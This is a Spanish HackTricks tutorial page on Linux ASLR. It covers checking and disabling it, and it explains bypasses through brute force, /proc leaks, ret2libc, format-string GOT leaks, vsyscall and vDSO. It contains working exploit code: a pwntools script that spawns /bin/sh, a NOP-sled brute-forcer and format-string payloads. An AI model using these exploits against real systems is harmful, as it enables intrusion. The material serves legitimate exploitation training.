ASLR

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información Básica

La Randomización del Diseño del Espacio de Direcciones (ASLR, por sus siglas en inglés) es una técnica de seguridad utilizada en sistemas operativos para aleatorizar las direcciones de memoria utilizadas por los procesos del sistema y de las aplicaciones. Al hacerlo, se vuelve significativamente más difícil para un atacante predecir la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, especialmente los desbordamientos de búfer.

Verificar el Estado de ASLR

Para verificar el estado de ASLR en un sistema Linux, puedes leer el valor del archivo /proc/sys/kernel/randomize_va_space. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:

  • 0: Sin aleatorización. Todo es estático.

  • 1: Aleatorización conservadora. Las bibliotecas compartidas, la pila, mmap(), la página VDSO se aleatorizan.

  • 2: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de brk() se aleatoriza.

Puedes verificar el estado de ASLR con el siguiente comando:

cat /proc/sys/kernel/randomize_va_space

Desactivando ASLR

Para desactivar ASLR, estableces el valor de /proc/sys/kernel/randomize_va_space en 0. Desactivar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Así es como puedes desactivarlo:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

También puedes desactivar ASLR para una ejecución con:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Activando ASLR

Para habilitar ASLR, puedes escribir un valor de 2 en el archivo /proc/sys/kernel/randomize_va_space. Normalmente se requieren privilegios de root. La activación de la aleatorización completa se puede hacer con el siguiente comando:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistencia a través de reinicios

Los cambios realizados con los comandos echo son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo /etc/sysctl.conf y agregar o modificar la siguiente línea:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Después de editar /etc/sysctl.conf, aplica los cambios con:

sudo sysctl -p

Esto asegurará que tus ajustes de ASLR se mantengan en reinicios.

Bypasses

Fuerza bruta de 32 bits

PaX divide el espacio de direcciones del proceso en 3 grupos:

  • Código y datos (inicializados y no inicializados): .text, .data y .bss —> 16 bits de entropía en la variable delta_exec. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales.

  • Memoria asignada por mmap() y bibliotecas compartidas —> 16 bits, llamados delta_mmap.

  • La pila —> 24 bits, referidos como delta_stack. Sin embargo, efectivamente utiliza 11 bits (desde el byte 10 al 20 inclusive), alineados a 16 bytes —> Esto resulta en 524,288 posibles direcciones reales de pila.

Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR intentando la ejecución una y otra vez hasta que el exploit se complete con éxito.

Ideas de fuerza bruta:

  • Si tienes un desbordamiento lo suficientemente grande para alojar un gran trineo NOP antes del código de la shell, podrías simplemente forzar direcciones en la pila hasta que el flujo salte sobre alguna parte del trineo NOP.

  • Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible agregar el trineo NOP y el código de la shell en una variable de entorno.

  • Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Si estás atacando un servidor remoto, podrías intentar hacer fuerza bruta en la dirección de la función usleep de la libc, pasando como argumento 10 (por ejemplo). Si en algún momento el servidor tarda 10 segundos adicionales en responder, encontraste la dirección de esta función.

En sistemas de 64 bits, la entropía es mucho mayor y esto no debería ser posible.

Fuerza bruta de stack de 64 bits

Es posible ocupar una gran parte del stack con variables de entorno y luego intentar abusar del binario cientos/miles de veces localmente para explotarlo. El siguiente código muestra cómo es posible simplemente seleccionar una dirección en el stack y cada pocas cientos de ejecuciones esa dirección contendrá la instrucción NOP:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Información Local (/proc/[pid]/stat)

El archivo /proc/[pid]/stat de un proceso siempre es legible por todos y contiene información interesante como:

  • startcode y endcode: Direcciones arriba y abajo con el TEXTO del binario

  • startstack: La dirección de inicio del stack

  • start_data y end_data: Direcciones arriba y abajo donde está el BSS

  • kstkesp y kstkeip: Direcciones actuales de ESP y EIP

  • arg_start y arg_end: Direcciones arriba y abajo donde están los argumentos de la línea de comandos

  • env_start y env_end: Direcciones arriba y abajo donde están las variables de entorno

Por lo tanto, si el atacante está en la misma computadora que el binario que está siendo explotado y este binario no espera el desbordamiento de argumentos sin procesar, sino de una entrada diferente que puede ser creada después de leer este archivo. Es posible para un atacante obtener algunas direcciones de este archivo y construir desplazamientos a partir de ellas para el exploit.

Para más información sobre este archivo, consulta https://man7.org/linux/man-pages/man5/proc.5.html buscando /proc/pid/stat

Teniendo una fuga

  • El desafío es dar una fuga

Si se te da una fuga (desafíos fáciles de CTF), puedes calcular desplazamientos a partir de ella (suponiendo, por ejemplo, que conoces la versión exacta de libc que se está utilizando en el sistema que estás explotando). Este exploit de ejemplo se extrae del ejemplo de aquí (consulta esa página para más detalles):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Abusar de un desbordamiento de búfer sería posible explotar un ret2plt para exfiltrar la dirección de una función de la libc. Verifica:

pageRet2plt
  • Lectura Arbitraria de Cadenas de Formato

Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible exfiltrar la dirección de una función de la libc desde el GOT. El siguiente ejemplo está aquí:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Puedes encontrar más información sobre la lectura arbitraria de cadenas de formato en:

pageFormat Strings

Ret2ret & Ret2pop

Intenta evadir ASLR abusando de direcciones dentro de la pila:

pageRet2ret & Reo2pop

vsyscall

El mecanismo vsyscall sirve para mejorar el rendimiento al permitir que ciertas llamadas al sistema se ejecuten en espacio de usuario, aunque son fundamentalmente parte del kernel. La ventaja crítica de las vsyscalls radica en sus direcciones fijas, que no están sujetas a ASLR (Randomización de Diseño del Espacio de Direcciones). Esta naturaleza fija significa que los atacantes no necesitan una vulnerabilidad de fuga de información para determinar sus direcciones y usarlas en un exploit. Sin embargo, no se encontrarán gadgets muy interesantes aquí (aunque por ejemplo es posible obtener un equivalente a ret;)

(El siguiente ejemplo y código es de este informe)

Por ejemplo, un atacante podría usar la dirección 0xffffffffff600800 dentro de un exploit. Mientras que intentar saltar directamente a una instrucción ret podría llevar a inestabilidades o bloqueos después de ejecutar un par de gadgets, saltar al inicio de una syscall proporcionada por la sección vsyscall puede resultar exitoso. Colocando cuidadosamente un gadget ROP que lleve la ejecución a esta dirección de vsyscall, un atacante puede lograr la ejecución de código sin necesidad de evadir ASLR para esta parte del exploit.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Ten en cuenta cómo podría ser posible burlar ASLR abusando del vdso si el kernel está compilado con CONFIG_COMPAT_VDSO ya que la dirección vdso no se randomizará. Para más información, consulta:

pageRet2vDSO

Última actualización